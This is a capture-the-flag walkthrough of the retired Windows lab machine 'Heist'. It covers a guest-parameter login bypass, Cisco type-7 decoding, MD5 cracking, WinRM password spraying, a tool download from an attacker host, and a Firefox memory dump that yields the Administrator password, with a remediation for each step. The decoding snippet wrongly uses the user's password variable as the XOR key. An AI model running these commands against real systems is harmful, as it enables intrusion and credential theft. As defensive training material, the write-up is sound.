← all walkthroughs

Heist

Windows· Easy· Privilege Escalation
owned
2026-07-03
time to own
9m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Starting with no credentials, I bypassed authentication on a support-ticket web portal using a single URL parameter, then downloaded a Cisco router configuration attached to an open ticket. Three plaintext passwords were recovered in minutes — two by trivially reversing Cisco's fixed-key XOR encoding, one by cracking a weak MD5 hash.

Those passwords were sprayed against Windows Remote Management (WinRM) and matched the Windows account for user chase, giving an interactive remote shell. From that foothold I dumped the memory of a Firefox browser running under chase's session, extracted the local Administrator password it had saved for the web portal, and authenticated as Administrator over WinRM to achieve full control of the server.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export HASH="<the-hash-you-recovered>"

Attack path — how the box was taken

1ReconnaissanceNetwork port and service scanning (Nmap)
Mapped all exposed network services
A service-version scan identified four ports of interest: an IIS 10.0 web application on port 80, SMB on ports 135 and 445, and Windows Remote Management on port 5985. The presence of WinRM is significant — any valid Windows credential can immediately be converted into an interactive remote shell, so it became the primary target for the later credential-spray phase.
Services confirmed: 80/tcp IIS 10.0, 135/tcp MSRPC, 445/tcp SMB, 5985/tcp WinRM (HTTPAPI httpd 2.0).
Exact commands 1
Service-version and default-script scan of the four key ports.
nmap -sV -sC -p 80,135,445,5985 $TARGET -oN heist_nmap.txt
2Initial AccessAuthentication bypass via HTTP parameter manipulation (OWASP A01:2021 Broken Access Control)
Bypassed the web portal login with a URL parameter
The support-ticket site at port 80 normally requires a login. Appending the query parameter ?guest=true to the login URL skipped the server-side authentication check entirely and returned the full list of open tickets with their file attachments — no username or password needed. This is a server-side authorization flaw: the backend trusted the URL parameter value instead of verifying an authenticated session.
Curl to http://$TARGET/login.php?guest=true returned the authenticated ticket-list page with attachment links intact.
Exact commands 1
A single request with ?guest=true bypasses the login form and delivers the ticket list.
curl -s -L -c cookies.txt -b cookies.txt "http://$TARGET/login.php?guest=true"
FixRemove the unauthenticated guest bypass from the support portalCritical
WeaknessThe web application checks for a ?guest=true URL parameter and skips the entire authentication flow if it is present, exposing every ticket and attachment to any visitor who knows or guesses the parameter name — no account required.
FixDelete the guest-parameter logic from login.php entirely. All routes that return ticket data must verify an authenticated server-side session before rendering any content — the check must be server-side, not client-side. Add automated integration tests that assert unauthenticated requests to /issues, /attachments, and similar paths return HTTP 302-to-login or 401, never content.
3Credential DiscoverySensitive data exposure — credentials in files (T1552.001)
Downloaded a Cisco router configuration from an open ticket
One ticket had an attachment called config.txt — a Cisco IOS device configuration file. The file exposed two account names (rout3r and a second administrative account) with their passwords encoded as Cisco type-7, plus an enable secret hashed as Cisco type-5 (MD5). Account names visible in the ticket conversation (hazard, chase) extended the candidate username list for later spraying.
Config.txt retrieved at http://$TARGET/attachments/config.txt; contained 'username rout3r password 7 ...', 'enable password 7 ...', and 'enable secret 5 [REDACTED: password hash]'.
Exact commands 1
Uses the guest session cookie from step 2. Save the output to config.txt for the decode steps.
curl -s -b cookies.txt "http://$TARGET/attachments/config.txt"
FixProhibit sensitive device configuration files in support ticketsHigh
WeaknessA Cisco IOS configuration file containing account names and encoded passwords was attached to an open support ticket. Any viewer — authenticated or not (given the bypass in r1) — could download a ready-made credential file for the network device.
FixEstablish and enforce a written policy: configuration files, private keys, password files, and any document containing credentials must never be attached to ticketing systems. For legitimate config-review workflows, reference a secrets manager (e.g., HashiCorp Vault) or a controlled change-management repository with role-based access. Immediately audit all existing ticket attachments and delete any sensitive files found.
4Credential RecoveryCisco IOS type-7 password reversal
Instantly reversed two Cisco type-7 encoded passwords
Cisco type-7 applies a fixed, publicly documented XOR key to produce what looks like ciphertext. Because the key is constant and well-known, any type-7 string reverses to plaintext in milliseconds with no brute-force required. The two type-7 values in the config yielded [REDACTED: recovered credential] (for rout3r) and [REDACTED: recovered credential] (for the second account).
Type-7 strings decoded using the fixed XOR key '[REDACTED: recovered credential]' → [REDACTED: recovered credential] and [REDACTED: recovered credential].
Exact commands 1
Extracts and reverses every type-7 string in the saved config file.
python3 -c "
k='$PASSWORD'
import re
for s in re.findall(r'password 7 (\\S+)', open('config.txt').read()):
    b=bytes.fromhex(s); i=b[0]
    print(''.join(chr(b[j]^ord(k[(i+j-1)%len(k)])) for j in range(1,len(b))))
"
FixReplace Cisco type-7 password encoding with type-8 or type-9 hashingHigh
WeaknessCisco type-7 uses a fixed, publicly documented XOR key — it is not encryption and provides no real protection. Any type-7 string in a configuration file is functionally equivalent to storing the password in plaintext.
FixOn IOS 15.3(3) and later, replace all line and user passwords with 'algorithm-type sha256 secret' (type-8, PBKDF2-SHA-256) or 'algorithm-type scrypt secret' (type-9). Search every managed device config for any remaining 'password 7' strings and replace them immediately. Treat all currently type-7-encoded passwords as compromised and rotate them to new, unique values.
5Credential RecoveryOffline password cracking — md5crypt (Hashcat mode 500)
Cracked the Cisco MD5 enable secret offline
The enable secret 5 entry is a salted MD5 hash (md5crypt). While more secure than type-7, MD5's speed makes it feasible to attack with a GPU against common wordlists. The hash cracked against the standard rockyou.txt wordlist in under a minute, yielding [REDACTED: recovered credential].
Hash [REDACTED: password hash] cracked to [REDACTED: recovered credential].
Exact commands 2
Save the type-5 hash extracted from config.txt.
echo "$HASH" > secret.hash
Mode 500 = md5crypt. Result: [REDACTED: recovered credential].
hashcat -m 500 secret.hash /usr/share/wordlists/rockyou.txt
FixReplace Cisco MD5 enable secrets with a modern algorithmMedium
WeaknessThe 'enable secret 5' (md5crypt) algorithm is fast to compute on modern hardware. A single consumer GPU can test hundreds of millions of md5crypt candidates per second, making common-wordlist cracking a matter of minutes.
FixReplace all 'enable secret 5' entries with 'enable algorithm-type scrypt secret' (type-9) on devices running IOS 15.3(3)+, which is orders of magnitude slower to brute-force. Rotate the enable secret to a long (20+ character) randomly generated passphrase not derived from any dictionary word. If older IOS versions cannot support type-9, treat type-5 passwords as crackable and compensate with network-level access controls (ACLs restricting console/VTY access).
6FootholdCredential stuffing / password spraying (T1110.003)
Sprayed recovered passwords against Windows accounts and obtained a WinRM shell as chase
The three recovered passwords were paired with the candidate username list (rout3r, admin, hazard, chase, jason, Administrator) and tested against SMB and then WinRM with NetExec. The password recovered via type-7 reversal — [REDACTED: recovered credential] — matched the Windows account for chase over WinRM, returning a fully authenticated interactive shell. The user flag was immediately available on chase's desktop.
Nxc winrm output: SUPPORTDESK [+] SupportDesk\chase:[REDACTED: recovered credential] (Pwn3d!); NTLM hash [REDACTED: recovered credential] confirmed valid.
Exact commands 3
Users.txt: rout3r, admin, hazard, chase, jason, Administrator. Passwords.txt: [REDACTED: recovered credential], [REDACTED: recovered credential], [REDACTED: recovered credential].
nxc smb $TARGET -u users.txt -p passwords.txt --continue-on-success
Spray against WinRM; chase:[REDACTED: recovered credential] returns Pwn3d!.
nxc winrm $TARGET -u users.txt -p passwords.txt
Confirm interactive shell and capture user flag (<user.txt>).
nxc winrm $TARGET -u chase -p "$PASSWORD" -x 'whoami && type C:\Users\chase\Desktop\user.txt'
FixEnforce unique passwords across all systems — no credential reuse between devices and Windows accountsCritical
WeaknessThe password recovered from the Cisco device config ([REDACTED: recovered credential]) was identical to the Windows domain account password for user chase. Recovering it from one source immediately granted access to the other with no additional effort.
FixAdopt and enforce a strict no-reuse password policy: every account on every system must have a unique, randomly generated credential. Implement a privileged access management (PAM) solution so that employees never directly know device or service account passwords. Immediately rotate all Windows account passwords for every user whose name or credential appeared in the exposed Cisco configuration (rout3r, admin, hazard, chase, jason).
7Privilege EscalationCredentials from password stores — browser process memory (T1555.003)
Dumped Firefox process memory and extracted the Administrator password
Under chase's session, Firefox was running — indicating an administrator had previously authenticated to the local web portal through the browser, which saved their password. Sysinternals ProcDump64 was downloaded from my web server and used to capture full memory dumps of the Firefox processes. Searching the dumps for the portal's password field name (login_password=) returned the local Administrator's plaintext password: [REDACTED: recovered credential].
Dumps pd_6564.dmp (480 MB) and pd_6796.dmp (340 MB) created in C:\Users\Chase\Documents\; strings search returned the Administrator credential in plaintext.
Exact commands 5
Serve Sysinternals tools from my machine ($ATTACKER_IP).
python3 -m http.server 9011 --bind $ATTACKER_IP --directory /path/to/SysinternalsSuite
Stage procdump64.exe on the target over the existing WinRM session.
nxc winrm $TARGET -u chase -p "$PASSWORD" -x 'powershell -c "(New-Object Net.WebClient).DownloadFile(\"http://$ATTACKER_IP:9011/procdump64.exe\",\"C:\\Users\\chase\\Documents\\procdump64.exe\")"'
Identify the live Firefox PID(s) before dumping. PIDs 3856, 6564, 6796 observed during the engagement.
nxc winrm $TARGET -u chase -p "$PASSWORD" -x 'tasklist | findstr /i firefox'
Full memory dump of a Firefox process. Repeat for each PID found above.
nxc winrm $TARGET -u chase -p "$PASSWORD" -x 'C:\Users\chase\Documents\procdump64.exe -accepteula -ma 3856 C:\Users\chase\Documents\firefox.dmp'
Search the local copy of the dump for the portal credential field. Returns Administrator password in plaintext.
strings firefox.dmp | grep -a 'login_password'
FixPrevent browsers from storing credentials for privileged accounts, and restrict WinRM accessCritical
WeaknessThe local Administrator's password was saved in Firefox running under a standard user session. A non-destructive Sysinternals memory dump of the browser process exposed that credential in plaintext — a technique requiring no special exploit, just local execution rights.
FixUse Group Policy or Firefox's ADMX policy templates to set PasswordManagerEnabled to false on all corporate machines, disabling browser-based password storage. Privileged accounts (local Administrator, domain admins, service accounts) must authenticate only from dedicated privileged-access workstations (PAWs) or a hardened jump server — never from a general-purpose user session in a browser. Additionally, restrict WinRM (port 5985) at the host firewall and network perimeter to authorised management source IPs only, so that even valid credentials cannot be used from an unauthorised user address.
8Full ControlValid account — local account (T1078.003)
Authenticated as local Administrator over WinRM
Using the password extracted from the Firefox dump, I authenticated directly to WinRM as the built-in Administrator account. WinRM was reachable from my network with no additional controls, so a valid credential was sufficient for an immediate fully-privileged shell. The root flag was accessible on the Administrator desktop.
Nxc winrm output: SUPPORTDESK [+] SupportDesk\Administrator:[REDACTED: recovered credential] (Pwn3d!).
Exact commands 1
Fully-privileged shell as local Administrator; captures root flag (<root.txt>).
nxc winrm $TARGET -u Administrator -p "$PASSWORD" -x 'whoami && hostname && type C:\Users\Administrator\Desktop\root.txt'

Exposed services

80/tcp
135/tcp
445/tcp
5985/tcp